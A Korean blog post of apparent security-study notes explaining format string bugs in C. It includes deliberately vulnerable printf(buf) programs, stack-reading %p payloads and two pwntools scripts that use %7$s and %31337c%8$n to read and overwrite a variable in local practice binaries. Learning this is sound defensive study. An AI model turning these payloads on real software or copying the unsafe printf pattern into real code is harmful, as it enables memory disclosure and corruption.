본문 바로가기

SYSTEM HACKING

[SWING] Pwnable 04 - Format String Bug

Format String

포맷 스트링을 인자로 사용하는 C언어 함수: printf, scanf, fprintf, fscanf, sprintf, sscanf 등

함수 이름이 f (formatted)로 끝나고 문자열을 다루는 함수

 

%[parameter][flags][width][.precision][length]type

 

형식 지정자(specifier)

: 인자를 어떻게 사용할지 지정

 

형식 지정자 설명
d 부호있는 10진수 정수
s 문자열
x 부호없는 16진수 정수
n 인자에 현재까지 사용된 문자열의 길이를 저장
p void형 포인터

 

 

Format String Bug

포맷 스트링 함수를 잘못 사용하여 발생하는 버그, FSB

 

포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터/스택을 읽고, 임의 주소 읽기/쓰기를 할 수 있다.

 

#include <stdio.h>
int main(void) {
    int auth = 0x42424242;
    char buf[32] = {0, };
    
    read(0, buf, 32);
    printf(buf);
    
    // make auth to 0xff
}

 

 

buf를 인자로 printf 호출 -> 포맷 스트링 버그

포맷 스트링을 입력해 auth 변수를 0xff로 덮어쓰자.

 

 

 

9번째 인자 0x2070252041414141 = buf

 

buf에 auth 주소를 little endian 형태로 넣고,

%n을 활용해 auth 주소에 넣으면 0xff를 쓸 수 있다.

 

auth 주소 0x7fffffffdddc (사진상으론 가려서 안 보이지만 파란색 B 첫칸 주소)

-> little endian 하면  dcddffffff7f0000 -> Hex encode

 

%246c%9$n을 넣으면 auth에 0xff가 써진다.

 

 

이렇게 하면 Win이 나와야 하는데...?

 

 

레지스터 및 스택 읽기

 

#include <stdio.h>
int main() {
  char format[0x100];
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

 

 

왜 printf 함수에 전달한 인자가 없음에도 임의의 값들이 출력되었을까?

=> 인자를 필요로 하는 포맷 스트링을 사용해서 레지스터와 스택에 존재하는 값이 출력됨.

 

출력된 값들은 각각

rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]

 

임의 주소 읽기

위에서 6번째 출력 값인 [rsp] 부터 사용자 입력을 8글자씩 참조한다.

 

0x7025207025207025 => %p %p %p

 

이를 응용하면 포맷 스트링에 참조하고 싶은 주소를 넣고 %[n]$s 형식으로 해당 주소의 데이터를 재참조해 읽을 수 있다.

 

#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

 

 

 

from pwn import *
p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)
p.sendline(fstring)
p.interactive()

 

 

 

 

임의 주소 쓰기

포맷 스트링에 임의의 주소를 넣고 %[n]$s 형식으로 해당 주소에 데이터를 쓸 수 있다.

 

#include <stdio.h>
int secret;
int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  printf("Secret: %d", secret);
  return 0;
}

 

 

from pwn import *
p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())

 

 

 

Secret 전역 변수의 값이 31337로 조작되었다.

 

 

 

 

 

'SYSTEM HACKING' 카테고리의 다른 글

[SWING] Pwnable 04 - Use After Free  (0) 2023.11.11
[SWING] Pwnable 04 - ptmalloc2  (0) 2023.11.11
[SWING] Pwnable 03 - PLT&GOT  (0) 2023.09.25
[SWING] Pwnable 03 - NX&ASLR  (0) 2023.09.25
[SWING] Pwnable 03 - 스택 카나리  (0) 2023.09.25